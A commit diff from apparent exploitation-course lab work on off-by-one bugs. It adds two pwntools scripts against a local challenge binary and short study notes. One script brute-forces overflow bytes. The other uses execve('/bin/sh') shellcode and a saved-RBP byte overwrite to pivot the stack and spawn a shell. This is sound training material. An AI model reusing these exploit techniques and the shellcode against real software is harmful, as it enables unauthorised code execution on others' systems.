lab 4d - off by one vuln

4d/lab4d_2.py

@@ -0,0 +1,61 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template /challenge/run
+from pwn import *
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF(args.EXE or '/challenge/run')
+
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+
+
+
+def start(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, *a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+tbreak main
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    No RELRO
+# Stack:    No canary found
+# NX:       NX unknown - GNU_STACK missing
+# PIE:      No PIE (0x400000)
+# Stack:    Executable
+# RWX:      Has RWX segments
+
+# create inputs
+    # send in input
+    # check if process prints "Good" then cat the flag and print the results.
+
+for x in range(1, 255):
+    for y in range(1, 255):
+        print(repr("A" * 30 + chr(x) + chr(y)))
+        io = start([("A" * 30) + chr(x) + chr(y)])
+        try:
+            io.readline()
+            io.readline()
+            io.readline()
+            nxtline = io.readline()
+            if nxtline.startswith(b"Good job!"):
+                io.interactive()
+            else:
+                io.close()
+        except:
+            io.close()

4d/lab4d_3.py

@@ -0,0 +1,51 @@
+#! /usr/bin/env python3
+from pwn import *
+from time import sleep
+import re
+
+context.log_level="error"
+
+shellcode = b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05'
+
+target = process(["/challenge/run"])
+# use below to debug, breakpoints will probably not be correct
+#target = process(["gdb", "-ex", "b 48", "-ex", "b 60", "-ex", "run", "-ex", "deref -l 20", "--args", "/challenge/run"])
+
+# get buffer location and save as integer value to buffer_addr 
+buffer_addr=32
+buffer_str = target.readline()
+res = re.findall(b"0x[a-f0-9]+", buffer_str)
+buffer_addr = int(res[0], 16)
+print(f"PYTHON: {hex(buffer_addr)=}")
+
+# calculate desired value for saved RBP's LSB (near end of buffer)
+LSB_new_rbp_addr_val = (buffer_addr + 112) & 0xff
+print(f"PYTHON: {hex(LSB_new_rbp_addr_val)=}")
+    
+# this byte will overwrite the single LSB of the saved RBP (as far as we can go)
+LSB_new_rbp_as_byte = LSB_new_rbp_addr_val.to_bytes(1, byteorder='big')
+
+# payload looks like
+#     \x90*21 + shellcode == 64 bytes (could do more but might need)
+#     filler until last 16 bytes of buffer
+#     ...
+#     temp rbp value (this will be rbp value after leave in this function)
+#     new IP of calling function (on ret from calling function will execute at this loc)
+#     Single byte of saved EBP (point to temp RBP location)
+shellcode = b"\x90" * 21 + shellcode
+payload = shellcode + b"F" * (64 - 16) + p64(buffer_addr) + p64(buffer_addr) + LSB_new_rbp_as_byte
+
+                     
+#print(f"PYTHON: DEBUG: payload: {''.join([f'\\x{byte:02x}' for byte in payload])    }")
+
+print(f"PYTHON: Sending payload of {len(payload)} bytes")
+
+# send payload
+target.sendline(payload)
+
+# go interactive 
+target.interactive()
+
+# close it 
+target.close() 
+

Dojo Notes.md

@@ -526,3 +526,20 @@ done
 - we know offset of puts from libc base, so we can get libc base
 - rest is same as before
 - boom
+
+### lab 4d.1 - off by 1
+
+- off by one
+  - limited control over buffer
+  - usually a mistake in code - a loop that executes one time too many, a buffer one byte too long, etc.
+  - here, giving the right value (ascii 7e) as mentioned, will do a buffer overflow to change a pointer's value and trigger the target fn
+
+### lab 4d.2 - hash off by 1
+
+- logic is same
+- but we don't know target address value
+- so bruteforce
+
+### lab 4d.3 - off by one pivot
+
+honestly idk just check class vid and script